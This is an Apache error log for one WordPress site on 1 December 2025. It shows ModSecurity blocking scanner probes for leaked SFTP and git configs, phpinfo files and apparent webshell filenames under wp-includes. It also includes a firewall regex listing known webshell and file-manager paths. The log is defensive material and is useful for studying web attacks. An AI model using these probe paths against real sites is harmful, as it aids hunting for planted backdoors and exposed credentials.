[Mon Dec 01 02:31:33.918708 2025] [:error] [pid 32611:tid 32630] [client 20.37.126.21:44071] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSyNha_aT7PlMcEPLmkpZAAAABE"]
[Mon Dec 01 02:41:28.319965 2025] [:error] [pid 32521:tid 32559] [client 103.65.237.153:56049] [client 103.65.237.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aSyP2D-OXioBrWvHoPrgIgAAAwc"]
[Mon Dec 01 02:41:28.599939 2025] [:error] [pid 22995:tid 23005] [client 103.65.237.153:56070] [client 103.65.237.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aSyP2KhgK6YGad0ApM9iwAAAAQc"]
[Mon Dec 01 04:24:54.555972 2025] [autoindex:error] [pid 39231:tid 39270] [client 4.230.26.52:37521] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 01 04:24:54.713232 2025] [autoindex:error] [pid 39231:tid 39284] [client 4.230.26.52:37531] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 01 04:24:54.866851 2025] [proxy_fcgi:error] [pid 39231:tid 39260] [client 4.230.26.52:37531] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Mon Dec 01 04:25:01.904344 2025] [autoindex:error] [pid 39231:tid 39280] [client 4.230.26.52:37521] AH01276: Cannot serve directory /home/measureyourbrand/public_html/assets/images/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 01 04:25:27.247753 2025] [:error] [pid 39231:tid 39263] [client 4.230.26.52:37531] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSyoN-7b3R8UMMGv2zIipwAAAYM"], referer: https://www.google.com/
[Mon Dec 01 04:25:54.118792 2025] [:error] [pid 39230:tid 39241] [client 4.230.26.52:37509] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSyoUqM8OwMp6GqAH1e7xgAAAUg"], referer: https://www.google.com/
[Mon Dec 01 04:25:58.720525 2025] [:error] [pid 39189:tid 39206] [client 4.230.26.52:37228] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aSyoVu861-Z71XbzCjwPvwAAAQ8"], referer: https://www.bing.com/
[Mon Dec 01 04:26:05.819667 2025] [:error] [pid 38833:tid 38849] [client 4.230.26.52:37210] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSyoXWQclTT5c5spu4YBhwAAAM4"], referer: https://www.google.de/
[Mon Dec 01 04:26:07.922123 2025] [:error] [pid 38739:tid 38748] [client 4.230.26.52:37524] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aSyoXxV3AnmLberc_XDKOQAAAAM"], referer: https://www.bing.com/
[Mon Dec 01 04:26:08.820716 2025] [:error] [pid 38741:tid 38822] [client 4.230.26.52:37533] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aSyoYM0L1cmP6Y250z3VmAAAAJY"], referer: https://www.google.fr/
[Mon Dec 01 04:26:12.443338 2025] [:error] [pid 39231:tid 39273] [client 4.230.26.52:37543] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSyoZO7b3R8UMMGv2zIjEwAAAY0"], referer: https://www.google.com/
[Mon Dec 01 04:26:21.659349 2025] [:error] [pid 38833:tid 38843] [client 4.230.26.52:37555] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSyobWQclTT5c5spu4YBnAAAAMg"], referer: https://www.google.fr/
[Mon Dec 01 04:26:24.504485 2025] [:error] [pid 39231:tid 39270] [client 4.230.26.52:37239] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSyocO7b3R8UMMGv2zIjUwAAAYo"], referer: https://www.google.fr/
[Mon Dec 01 04:26:26.696586 2025] [:error] [pid 39231:tid 39260] [client 4.230.26.52:37220] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSyocu7b3R8UMMGv2zIjWQAAAYA"], referer: https://www.bing.com/
[Mon Dec 01 04:26:27.834982 2025] [:error] [pid 39230:tid 39237] [client 4.230.26.52:37214] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSyoc6M8OwMp6GqAH1e75wAAAUQ"], referer: https://www.google.co.uk/
[Mon Dec 01 04:26:30.079991 2025] [:error] [pid 38739:tid 38749] [client 4.230.26.52:37217] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aSyodhV3AnmLberc_XDKXQAAAAQ"], referer: https://www.bing.com/
[Mon Dec 01 04:26:31.286751 2025] [:error] [pid 38833:tid 38854] [client 4.230.26.52:37535] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSyod2QclTT5c5spu4YBqwAAANM"], referer: https://www.google.de/
[Mon Dec 01 04:26:32.410817 2025] [:error] [pid 39189:tid 39214] [client 4.230.26.52:37185] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSyoeO861-Z71XbzCjwQJQAAARc"], referer: https://duckduckgo.com/
[Mon Dec 01 04:26:40.461085 2025] [:error] [pid 38740:tid 38776] [client 4.230.26.52:37521] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSyogHhJ8D5KZ4hRdTUlbwAAAEM"], referer: https://www.google.de/
[Mon Dec 01 04:26:41.233455 2025] [:error] [pid 39231:tid 39279] [client 4.230.26.52:37190] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSyoge7b3R8UMMGv2zIjdAAAAZM"], referer: https://www.bing.com/
[Mon Dec 01 04:26:43.445637 2025] [:error] [pid 38740:tid 38791] [client 4.230.26.52:37246] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aSyog3hJ8D5KZ4hRdTUldwAAAFI"], referer: https://www.google.fr/
[Mon Dec 01 04:26:45.919705 2025] [:error] [pid 39231:tid 39267] [client 4.230.26.52:37191] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSyohe7b3R8UMMGv2zIjeQAAAYc"], referer: https://www.bing.com/
[Mon Dec 01 04:26:47.394778 2025] [:error] [pid 39231:tid 39268] [client 4.230.26.52:37595] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSyoh-7b3R8UMMGv2zIjfgAAAYg"], referer: https://www.google.fr/
[Mon Dec 01 04:26:49.569592 2025] [:error] [pid 38739:tid 38751] [client 4.230.26.52:37242] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/jcrop.php"] [unique_id "aSyoiRV3AnmLberc_XDKhwAAAAY"], referer: https://www.google.com/
[Mon Dec 01 04:26:56.304642 2025] [:error] [pid 38741:tid 38823] [client 4.230.26.52:37245] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSyokM0L1cmP6Y250z3V3AAAAJc"], referer: https://www.google.de/
[Mon Dec 01 04:26:58.601026 2025] [:error] [pid 38833:tid 38846] [client 4.230.26.52:37512] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSyokmQclTT5c5spu4YB1AAAAMs"], referer: https://duckduckgo.com/
[Mon Dec 01 04:27:01.458614 2025] [:error] [pid 39189:tid 39205] [client 4.230.26.52:37231] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSyole861-Z71XbzCjwQRAAAAQ4"], referer: https://www.bing.com/
[Mon Dec 01 04:27:02.685909 2025] [:error] [pid 39230:tid 39256] [client 4.230.26.52:37206] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSyolqM8OwMp6GqAH1e8LwAAAVc"], referer: https://www.google.fr/
[Mon Dec 01 04:27:05.246518 2025] [:error] [pid 39230:tid 39237] [client 4.230.26.52:37507] [client 4.230.26.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSyomaM8OwMp6GqAH1e8NgAAAUQ"], referer: https://www.google.fr/
[Mon Dec 01 13:04:29.107099 2025] [rewrite:error] [pid 50143:tid 50163] [client 103.4.250.152:16874] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Mon Dec 01 13:48:27.685780 2025] [:error] [pid 57714:tid 57727] [client 157.230.13.92:64170] [client 157.230.13.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.13.92, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aS0sK0UaTA8l_0rGIev5xgAAAcs"]
[Mon Dec 01 13:48:28.544115 2025] [:error] [pid 50172:tid 50200] [client 157.230.13.92:53829] [client 157.230.13.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.13.92, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aS0sLGA_oUkA7PwzMCcEdQAAAFc"]
[Mon Dec 01 14:10:39.284900 2025] [:error] [pid 50173:tid 50227] [client 93.123.109.132:37098] [client 93.123.109.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS0xX4v3zN9A0dVx6aTA_gAAARc"]
[Mon Dec 01 15:17:00.558539 2025] [:error] [pid 48607:tid 48619] [client 93.123.109.132:38810] [client 93.123.109.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS1A7HMnJEttv83rKyGl0AAAAYg"]
[Mon Dec 01 17:11:14.474353 2025] [:error] [pid 53359:tid 53383] [client 120.29.78.53:49444] [client 120.29.78.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.29.78.53, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aS1bsjjrFN7YxynOshG9xgAAAFM"]
[Mon Dec 01 18:53:08.145115 2025] [:error] [pid 57580:tid 57596] [client 209.97.150.126:47744] [client 209.97.150.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS1zlN7suLxtUlvsX3E_6QAAAU4"]
[Mon Dec 01 18:53:11.757613 2025] [:error] [pid 48895:tid 48916] [client 209.97.150.126:44254] [client 209.97.150.126] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS1zl0pdAa0eW2I25NLztQAAAFA"]
[Mon Dec 01 19:04:19.410417 2025] [autoindex:error] [pid 3247:tid 3286] [client 139.59.37.180:53365] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Dec 01 19:37:25.662270 2025] [:error] [pid 3343:tid 3352] [client 3.139.75.35:48958] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aS199bLh6htIpruGDDnM0QAAAAc"]
[Mon Dec 01 19:37:26.634310 2025] [:error] [pid 5158:tid 5164] [client 3.139.75.35:44678] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/serverinfo.php"] [unique_id "aS199lsnIOgHXYZw9rYuWgAAAYQ"]
[Mon Dec 01 19:37:27.412608 2025] [:error] [pid 3247:tid 3295] [client 3.139.75.35:44682] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "aS199yMO2n3Q0MZfETItuwAAANM"]
[Mon Dec 01 19:37:28.195015 2025] [:error] [pid 3307:tid 3331] [client 3.139.75.35:44698] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/debug.php"] [unique_id "aS19-EhV_0w1hrv72n75VwAAARY"]
[Mon Dec 01 19:37:28.974150 2025] [:error] [pid 5120:tid 5128] [client 3.139.75.35:44710] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/diagnostic.php"] [unique_id "aS19-D5X7_hfFhnUCkLOgwAAAUY"]
[Mon Dec 01 19:37:29.753513 2025] [:error] [pid 5120:tid 5145] [client 3.139.75.35:44720] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phptest.php"] [unique_id "aS19-T5X7_hfFhnUCkLOhAAAAVY"]
[Mon Dec 01 19:37:30.532788 2025] [:error] [pid 3246:tid 3271] [client 3.139.75.35:44726] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/check.php"] [unique_id "aS19-lkT8fezoNl7qjd8-QAAAFY"]
[Mon Dec 01 19:37:31.312604 2025] [:error] [pid 3343:tid 3366] [client 3.139.75.35:44730] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/probe.php"] [unique_id "aS19-7Lh6htIpruGDDnM1wAAABU"]
[Mon Dec 01 19:37:32.093684 2025] [:error] [pid 3343:tid 3359] [client 3.139.75.35:44732] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_profiler/phpinfo"] [unique_id "aS19_LLh6htIpruGDDnM2AAAAA4"]
[Mon Dec 01 19:37:32.875749 2025] [:error] [pid 5158:tid 5175] [client 3.139.75.35:44748] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.save"] [unique_id "aS19_FsnIOgHXYZw9rYuXgAAAY8"]
[Mon Dec 01 19:37:33.661435 2025] [:error] [pid 3247:tid 3290] [client 3.139.75.35:44754] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php.save"] [unique_id "aS19_SMO2n3Q0MZfETItwwAAAM4"]
[Mon Dec 01 19:37:34.448700 2025] [:error] [pid 3343:tid 3368] [client 3.139.75.35:44762] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_info.php.save"] [unique_id "aS19_rLh6htIpruGDDnM3AAAABc"]
[Mon Dec 01 19:37:35.229676 2025] [:error] [pid 3247:tid 3282] [client 3.139.75.35:58424] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php.save"] [unique_id "aS19_yMO2n3Q0MZfETItyQAAAMY"]
[Mon Dec 01 19:37:36.007648 2025] [:error] [pid 3307:tid 3327] [client 3.139.75.35:58426] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.bak"] [unique_id "aS1-AEhV_0w1hrv72n75YgAAARI"]
